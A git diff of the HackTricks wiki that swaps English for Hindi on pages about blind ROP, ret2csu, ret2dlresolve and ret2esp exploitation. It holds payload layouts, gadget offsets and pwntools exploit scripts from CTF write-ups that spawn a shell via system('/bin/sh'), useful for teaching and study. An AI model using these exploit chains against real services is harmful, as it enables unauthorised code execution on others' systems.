कि उपयोग किया गया पता भी एक STOP पता था। -In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: +इस अंतिम विकल्प को **हटाने के लिए** एक नई श्रृंखला जैसे निम्नलिखित निष्पादित की जाती है और इसे पिछले एक की पुष्टि करने के लिए STOP गैजेट को निष्पादित नहीं करना चाहिए: `'A' * offset + canary + rbp + ADDR` -Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. +ret2csu गैजेट के पते को जानकर, यह संभव है कि **`rsi` और `rdi` को नियंत्रित करने के लिए गैजेट्स के पते का अनुमान लगाया जा सके**। -### 6. Find PLT +### 6. PLT खोजें -The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. +PLT तालिका को 0x400000 से या स्टैक से **लीक किए गए RIP पते** से खोजा जा सकता है (यदि **PIE** का उपयोग किया जा रहा है)। तालिका के **प्रविष्टियाँ** **16B** (0x10B) द्वारा **अलग** होती हैं, और जब एक फ़ंक्शन को कॉल किया जाता है तो सर्वर क्रैश नहीं होता है भले ही तर्क सही न हों। इसके अलावा, एक प्रविष्टि के पते की जाँच करना **PLT + 6B भी क्रैश नहीं होता** क्योंकि यह पहला कोड है जो निष्पादित होता है। -Therefore, it's possible to find the PLT table checking the following behaviours: +इसलिए, निम्नलिखित व्यवहारों की जाँच करके PLT तालिका को खोजना संभव है: -- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash -- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash +- `'A' * offset + canary + rbp + ADDR + STOP` -> कोई क्रैश नहीं +- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> कोई क्रैश नहीं +- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> कोई क्रैश नहीं -### 7. Finding strcmp +### 7. strcmp खोजें -The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. +**`strcmp`** फ़ंक्शन रजिस्टर **`rdx`** को तुलना की जा रही स्ट्रिंग की लंबाई पर सेट करता है। ध्यान दें कि **`rdx`** **तीसरा तर्क** है और हमें इसे **0 से बड़ा** होना चाहिए ताकि बाद में `write` का उपयोग करके प्रोग्राम को लीक किया जा सके। -It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: +हम अब फ़ंक्शनों के पहले 2 तर्कों को नियंत्रित कर सकते हैं, इस व्यवहार के आधार पर **`strcmp`** के स्थान को PLT में खोजना संभव है: -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> crash -- strcmp(\, \) -> no crash +- strcmp(\, \) -> क्रैश +- strcmp(\, \) -> क्रैश +- strcmp(\, \) -> क्रैश +- strcmp(\, \) -> कोई क्रैश नहीं -It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: +इसकी जाँच करने के लिए PLT तालिका के प्रत्येक प्रविष्टि को कॉल करना या **PLT धीमी पथ** का उपयोग करना संभव है, जो मूल रूप से **PLT तालिका में एक प्रविष्टि को कॉल करने** पर आधारित है + 0xb (जो **`dlresolve`** को कॉल करता है) और स्टैक में **प्रविष्टि संख्या जिसे आप जांचना चाहते हैं** (शून्य से शुरू) को स्कैन करने के लिए: -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash -- strcmp(\, \) -> crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -- strcmp(\, \) -> no crash - - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> क्रैश +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> क्रैश होगा +- strcmp(\, \) -> क्रैश +- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +- strcmp(\, \) -> कोई क्रैश नहीं +- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -Remember that: +याद रखें कि: -- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** -- BROP + 0x9 point to **`pop RDI; ret;`** -- PLT + 0xb point to a call to **dl_resolve**. +- BROP + 0x7 **`pop RSI; pop R15; ret;`** की ओर इशारा करता है +- BROP + 0x9 **`pop RDI; ret;`** की ओर इशारा करता है +- PLT + 0xb **dl_resolve** को कॉल करने की ओर इशारा करता है। -Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. +`strcmp` को खोजने के बाद, **`rdx`** को 0 से बड़े मान पर सेट करना संभव है। > [!TIP] -> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. +> ध्यान दें कि आमतौर पर `rdx` पहले से ही 0 से बड़ा मान रखेगा, इसलिए यह कदम आवश्यक नहीं हो सकता है। -### 8. Finding Write or equivalent +### 8. Write या समकक्ष खोजें -Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** +अंत में, डेटा को एक्सफिल्ट्रेट करने के लिए एक गैजेट की आवश्यकता होती है ताकि बाइनरी को एक्सफिल्ट्रेट किया जा सके। और इस समय यह संभव है कि **2 तर्कों को नियंत्रित करें और `rdx` को 0 से बड़ा सेट करें।** -There are 3 common funtions taht could be abused for this: +इसके लिए 3 सामान्य फ़ंक्शन हैं जिनका दुरुपयोग किया जा सकता है: - `puts(data)` - `dprintf(fd, data)` - `write(fd, data, len(data)` -However, the original paper only mentions the **`write`** one, so lets talk about it: +हालांकि, मूल पेपर केवल **`write`** का उल्लेख करता है, इसलिए आइए इसके बारे में बात करें: -The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. +वर्तमान समस्या यह है कि हमें नहीं पता **write फ़ंक्शन PLT के अंदर कहाँ है** और हमें नहीं पता **डेटा को हमारे सॉकेट पर भेजने के लिए fd संख्या**। -However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. +हालांकि, हम जानते हैं **PLT तालिका कहाँ है** और इसके **व्यवहार** के आधार पर write को खोजना संभव है। और हम सर्वर के साथ **कई कनेक्शन** बना सकते हैं और एक **उच्च FD** का उपयोग कर सकते हैं यह उम्मीद करते हुए कि यह हमारे कुछ कनेक्शनों से मेल खाता है। -Behaviour signatures to find those functions: +इन फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर: -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found -- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि puts मिला +- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि dprintf मिला +- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो इसका अर्थ है कि write मिला ## Automatic Exploitation diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 73cbb4e58..5ce323344 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -4,18 +4,17 @@ ## -## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information +## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)बुनियादी जानकारी -**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. +**ret2csu** एक हैकिंग तकनीक है जिसका उपयोग तब किया जाता है जब आप किसी प्रोग्राम पर नियंत्रण पाने की कोशिश कर रहे होते हैं लेकिन आपको प्रोग्राम के व्यवहार को नियंत्रित करने के लिए आमतौर पर उपयोग किए जाने वाले **gadgets** नहीं मिलते। -When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. +जब एक प्रोग्राम कुछ विशेष पुस्तकालयों (जैसे libc) का उपयोग करता है, तो इसमें विभिन्न भागों के बीच बातचीत को प्रबंधित करने के लिए कुछ अंतर्निहित कार्य होते हैं। इन कार्यों में कुछ छिपे हुए रत्न होते हैं जो हमारे गायब gadgets के रूप में कार्य कर सकते हैं, विशेष रूप से एक जिसे `__libc_csu_init` कहा जाता है। -### The Magic Gadgets in \_\_libc_csu_init +### \_\_libc_csu_init में जादुई Gadgets -In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: - -1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later. +**`__libc_csu_init`** में, दो निर्देशों के अनुक्रम (gadgets) को उजागर करने के लिए हैं: +1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये ऐसे स्लॉट की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं। ```armasm pop rbx; pop rbp; @@ -25,22 +24,18 @@ pop r14; pop r15; ret; ``` +यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, स्टैक से मानों को पॉप करके। -This gadget allows us to control these registers by popping values off the stack into them. - -2. The second sequence uses the values we set up to do a couple of things: - - **Move specific values into other registers**, making them ready for us to use as parameters in functions. - - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8. - +2. दूसरा अनुक्रम उन मानों का उपयोग करता है जो हमने सेट किए हैं, कुछ चीजें करने के लिए: +- **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, उन्हें कार्यों में पैरामीटर के रूप में उपयोग करने के लिए तैयार करना। +- **एक स्थान पर कॉल करें** जो r15 और rbx में मानों को जोड़कर, फिर rbx को 8 से गुणा करके निर्धारित किया गया है। ```armasm mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` - -3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it: - +3. शायद आप वहां लिखने के लिए कोई पता नहीं जानते हैं और आपको **`ret` निर्देश** की आवश्यकता है। ध्यान दें कि दूसरा गैजेट भी **`ret` पर समाप्त होगा**, लेकिन आपको इसे प्राप्त करने के लिए कुछ **शर्तों** को पूरा करना होगा: ```armasm mov rdx, r15; mov rsi, r14; @@ -52,50 +47,46 @@ jnz ... ret ``` +शर्तें होंगी: -The conditions will be: - -- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func): - - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init: - +- `[r12 + rbx*8]` को एक पते की ओर इशारा करना चाहिए जो एक कॉल करने योग्य फ़ंक्शन को स्टोर कर रहा है (यदि कोई विचार नहीं है और कोई pie नहीं है, तो आप बस `_init` फ़ंक्शन का उपयोग कर सकते हैं): +- यदि \_init `0x400560` पर है, तो GEF का उपयोग करके इसके लिए मेमोरी में एक पॉइंटर खोजें और `[r12 + rbx*8]` को \_init के लिए पॉइंटर के साथ पता बनाएं: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x - 0x400e38 - 0x400e44 → "\x60\x05\x40[...]" +0x400e38 - 0x400e44 → "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- - 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" +0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` +- `rbp` और `rbx` का वही मान होना चाहिए ताकि कूद से बचा जा सके +- कुछ छोड़े गए pops हैं जिन्हें आपको ध्यान में रखना चाहिए -- `rbp` and `rbx` must have the same value to avoid the jump -- There are some omitted pops you need to take into account +## RDI और RSI -## RDI and RSI - -Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets: +**`rdi`** और **`rsi`** को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है कि इसे विशिष्ट ऑफसेट्स तक पहुँचें:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-Check this page for more info: +अधिक जानकारी के लिए इस पृष्ठ की जाँच करें: {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} -## Example +## उदाहरण -### Using the call +### कॉल का उपयोग करना -Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. +कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में विशेष मानों की आवश्यकता है। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं। -Here's where **ret2csu** comes into play: +यहाँ **ret2csu** काम में आता है: -1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. -2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. - -You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used: +1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें। +2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए बना सकते हैं जो आप पता लगाते हैं और `[r15 + rbx*8]` में रखते हैं। +आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे यहाँ समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया: ```python from pwn import * @@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` - > [!WARNING] -> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. +> ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `gets` को कॉल करके `win` का पता लेना और इसे r15 में स्टोर करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है। -### Bypassing the call and reaching ret - -The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call: +### कॉल को बायपास करना और रिट तक पहुँचना +निम्नलिखित एक्सप्लॉइट [**इस पृष्ठ से निकाला गया**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) जहाँ **ret2csu** का उपयोग किया गया है लेकिन कॉल का उपयोग करने के बजाय, यह **तुलनाओं को बायपास कर रहा है और कॉल के बाद `ret` तक पहुँच रहा है:** ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -176,9 +165,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` - ### Why Not Just Use libc Directly? -Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**. +आमतौर पर ये मामले भी [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के प्रति संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 1fc2ea86a..ffe465282 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -4,36 +4,35 @@ ## Basic Information -As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. +जैसा कि [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) और [**Relro**](../common-binary-protections-and-bypasses/relro.md) के पृष्ठ में समझाया गया है, बिना Full Relro के बाइनरी पहली बार उपयोग किए जाने पर प्रतीकों (जैसे बाहरी पुस्तकालयों के लिए पते) को हल करेंगी। यह समाधान **`_dl_runtime_resolve`** फ़ंक्शन को कॉल करके होता है। -The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. +**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल** करने के लिए आवश्यकता होती है। -Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). +इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि गतिशील रूप से लिंक किया गया हल किया गया प्रतीक (जैसे **`system`** फ़ंक्शन) और इसे एक कॉन्फ़िगर किए गए पैरामीटर (जैसे **`system('/bin/sh')`**) के साथ कॉल किया जा सके। -Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. +आमतौर पर, सभी इन संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाने के द्वारा संग्रहीत हों, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए। > [!TIP] -> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. +> यह तकनीक विशेष रूप से उपयोगी है यदि syscall गैजेट्स नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/) या [SROP](srop-sigreturn-oriented-programming/)) और libc पते लीक करने के तरीके नहीं हैं। -Chek this video for a nice explanation about this technique in the second half of the video: +इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए इस वीडियो को चेक करें: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -Or check these pages for a step-by-step explanation: +या इन पृष्ठों को चरण-दर-चरण स्पष्टीकरण के लिए चेक करें: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) ## Attack Summary -1. Write fake estructures in some place -2. Set the first argument of system (`$rdi = &'/bin/sh'`) -3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** -4. **Call** `_dl_runtime_resolve` -5. **`system`** will be resolved and called with `'/bin/sh'` as argument - -From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like: +1. कुछ स्थान पर फेक संरचनाएँ लिखें +2. सिस्टम के पहले तर्क को सेट करें (`$rdi = &'/bin/sh'`) +3. **`_dl_runtime_resolve`** को कॉल करने के लिए स्टैक पर संरचनाओं के पते सेट करें +4. **कॉल** `_dl_runtime_resolve` +5. **`system`** हल किया जाएगा और `'/bin/sh'` को तर्क के रूप में कॉल किया जाएगा +[**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) से, यह एक **`ret2dlresolve`** हमले का रूप है: ```python context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) >>> rop = ROP(elf) @@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) 0x0040: 0x4003e0 [plt_init] system 0x0048: 0x15670 [dlresolve index] ``` +## उदाहरण -## Example - -### Pure Pwntools - -You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: +### शुद्ध Pwntools +आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जिसमें अंतिम ROP श्रृंखला का बहुत अच्छा विवरण है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है: ```python from pwn import * @@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` - -### Raw - +### कच्चा ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -186,12 +181,11 @@ target.send(paylaod2) # Enjoy the shell! target.interactive() ``` - -## Other Examples & References +## अन्य उदाहरण और संदर्भ - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. +- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system`, मुख्य में लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 868f6ffa5..695a5354e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -4,27 +4,24 @@ ## **Ret2esp** -**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. +**क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है**, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को **`jmp esp`** या **`call esp`** इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक ओवरराइटेड EIP के बाद रखा जाता है। जब `ret` इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, ठीक उसी जगह जहां शेलकोड संग्रहीत है। -If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). +यदि **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए जाने वाले `jmp esp` या `call esp` इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, [**ASLR**](../common-binary-protections-and-bypasses/aslr/) सक्रिय होने पर, किसी को इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको [**PIE**](../common-binary-protections-and-bypasses/pie/) को हराने की आवश्यकता हो सकती है)। -Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. +इसके अलावा, EIP भ्रष्टाचार के **बाद शेलकोड** को रखने में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि कार्य के संचालन के दौरान निष्पादित किसी भी `push` या `pop` इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड कार्य के स्टैक के मध्य में रखा गया हो। -### Lacking space - -If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like: +### स्थान की कमी +यदि RIP को ओवरराइट करने के बाद लिखने के लिए आपके पास स्थान की कमी है (शायद केवल कुछ बाइट्स), तो एक प्रारंभिक **`jmp`** शेलकोड लिखें जैसे: ```armasm sub rsp, 0x30 jmp rsp ``` +और स्टैक में जल्दी शेलकोड लिखें। -And write the shellcode early in the stack. - -### Example - 